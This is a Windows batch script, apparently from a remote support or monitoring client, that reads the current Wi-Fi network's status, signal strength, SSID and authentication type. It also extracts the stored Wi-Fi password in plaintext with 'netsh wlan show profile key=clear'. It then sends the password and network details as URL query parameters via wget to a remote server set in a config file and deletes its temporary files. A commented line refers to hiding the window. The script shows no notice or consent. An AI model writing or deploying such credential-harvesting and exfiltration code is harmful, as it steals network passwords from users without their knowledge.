REM CMDOW @ /HID

CALL C:\LiveDigital\config.bat

cd "C:\LiveDigital"

DEL "C:\LiveDigital\ssid.txt"
DEL "C:\LiveDigital\ssid_parsed.txt"

DEL "C:\LiveDigital\wifi.txt"
DEL "C:\LiveDigital\wifi_parsed.txt"

DEL "C:\LiveDigital\wifi_auth.txt"
DEL "C:\LiveDigital\wifi_auth_parsed.txt"

DEL "C:\LiveDigital\wifi_status.txt"
DEL "C:\LiveDigital\wifi_status_parsed.txt"

DEL "C:\LiveDigital\wifi_strength.txt"

netsh wlan show interface | findstr /r "^....State" > wifi_status.txt
PING 127.0.0.1 -n 2 -w 50

setlocal enabledelayedexpansion
set INTEXTFILE=wifi_status.txt
set OUTTEXTFILE=wifi_status_parsed.txt
set SEARCHTEXT=    State                  : 
set REPLACETEXT=
set OUTPUTLINE=

for /f "tokens=1,* delims=¶" %%A in ( '"type %INTEXTFILE%"') do (
SET string=%%A
SET modified=!string:%SEARCHTEXT%=%REPLACETEXT%!

echo !modified! >> %OUTTEXTFILE%
)

PING 127.0.0.1 -n 2 -w 50
set /p var_status=<wifi_status_parsed.txt
set var_status=%var_status%_

echo Status: %var_status: _=%

IF "%var_status%"=="_" (
	echo No WIFI Adaptor

	DEL "C:\LiveDigital\ssid.txt"
	DEL "C:\LiveDigital\ssid_parsed.txt"

	DEL "C:\LiveDigital\wifi.txt"
	DEL "C:\LiveDigital\wifi_parsed.txt"

	DEL "C:\LiveDigital\wifi_auth.txt"
	DEL "C:\LiveDigital\wifi_auth_parsed.txt"

	DEL "C:\LiveDigital\wifi_status.txt"
	DEL "C:\LiveDigital\wifi_status_parsed.txt"
	
	DEL "C:\LiveDigital\wifi_strength.txt"
	
	EXIT
)

IF "%var_status%"=="disconnected _" (
	echo No WIFI Connected

	DEL "C:\LiveDigital\ssid.txt"
	DEL "C:\LiveDigital\ssid_parsed.txt"

	DEL "C:\LiveDigital\wifi.txt"
	DEL "C:\LiveDigital\wifi_parsed.txt"

	DEL "C:\LiveDigital\wifi_auth.txt"
	DEL "C:\LiveDigital\wifi_auth_parsed.txt"

	DEL "C:\LiveDigital\wifi_status.txt"
	DEL "C:\LiveDigital\wifi_status_parsed.txt"
	
	DEL "C:\LiveDigital\wifi_strength.txt"
	
	EXIT
)

netsh wlan show interfaces | findstr "Signal" > "C:\LiveDigital\wifi_strength.txt"
PING 127.0.0.1 -n 2 -w 500
SET /p var_str=< "C:\LiveDigital\wifi_strength.txt"

SET var_str=%var_str:Signal= %
SET _var_str=%var_str: =%
SET wifi_strength=%_var_str::=%

echo %wifi_strength%

netsh wlan show interface | findstr /r "^....SSID" > ssid.txt
PING 127.0.0.1 -n 2 -w 50

setlocal enabledelayedexpansion
set INTEXTFILE=ssid.txt
set OUTTEXTFILE=ssid_parsed.txt
set SEARCHTEXT=    SSID                   : 
set REPLACETEXT=
set OUTPUTLINE=

for /f "tokens=1,* delims=¶" %%A in ( '"type %INTEXTFILE%"') do (
SET string=%%A
SET modified=!string:%SEARCHTEXT%=%REPLACETEXT%!

echo !modified! >> %OUTTEXTFILE%
)

PING 127.0.0.1 -n 2 -w 50
set /p var_ssid=<ssid_parsed.txt
set var_ssid=%var_ssid%_

netsh wlan show profile name="%var_ssid: _=%" key=clear | findstr /r "^....Key Content" > wifi.txt
PING 127.0.0.1 -n 2 -w 50

setlocal enabledelayedexpansion
set INTEXTFILE=wifi.txt
set OUTTEXTFILE=wifi_parsed.txt
set SEARCHTEXT=    Key Content            : 
set REPLACETEXT=
set OUTPUTLINE=

for /f "tokens=1,* delims=¶" %%A in ( '"type %INTEXTFILE%"') do (
SET string=%%A
SET modified=!string:%SEARCHTEXT%=%REPLACETEXT%!

echo !modified! >> %OUTTEXTFILE%
)

PING 127.0.0.1 -n 2 -w 50
set /p var_wifi=<wifi_parsed.txt
set var_wifi=%var_wifi%_

netsh wlan show profile name="%var_ssid: _=%" key=clear | findstr /r "^....Authentication" > wifi_auth.txt
PING 127.0.0.1 -n 2 -w 50

setlocal enabledelayedexpansion
set INTEXTFILE=wifi_auth.txt
set OUTTEXTFILE=wifi_auth_parsed.txt
set SEARCHTEXT=    Authentication         : 
set REPLACETEXT=
set OUTPUTLINE=

for /f "tokens=1,* delims=¶" %%A in ( '"type %INTEXTFILE%"') do (
SET string=%%A
SET modified=!string:%SEARCHTEXT%=%REPLACETEXT%!

echo !modified! >> %OUTTEXTFILE%
)

PING 127.0.0.1 -n 2 -w 50
set /p var_wifiauth=<wifi_auth_parsed.txt
set var_wifiauth=%var_wifiauth%_

ECHO Status: %var_status: _=%
ECHO SSID: %var_ssid: _=%
ECHO Password: %var_wifi: _=%
ECHO Authentication: %var_wifiauth: _=%

IF "%var_is64%"=="1" (
	wget64.exe --timeout=5 --tries=2 --delete-after "%var_pingaddress%%var_pingscript%?clientid=%var_client%&serverip=%var_supportip%&type=wifi&ssid=%var_ssid: _=%&pass=%var_wifi: _=%&sec=%var_wifiauth: _=%&enc=AES&strength=%wifi_strength%"
) ELSE (
	wget.exe --timeout=5 --tries=2 --delete-after "%var_pingaddress%%var_pingscript%?clientid=%var_client%&serverip=%var_supportip%&type=wifi&ssid=%var_ssid: _=%&pass=%var_wifi: _=%&sec=%var_wifiauth: _=%&enc=AES&strength=%wifi_strength%"
)

DEL "C:\LiveDigital\ssid.txt"
DEL "C:\LiveDigital\ssid_parsed.txt"

DEL "C:\LiveDigital\wifi.txt"
DEL "C:\LiveDigital\wifi_parsed.txt"

DEL "C:\LiveDigital\wifi_auth.txt"
DEL "C:\LiveDigital\wifi_auth_parsed.txt"

DEL "C:\LiveDigital\wifi_status.txt"
DEL "C:\LiveDigital\wifi_status_parsed.txt"

DEL "C:\LiveDigital\wifi_strength.txt"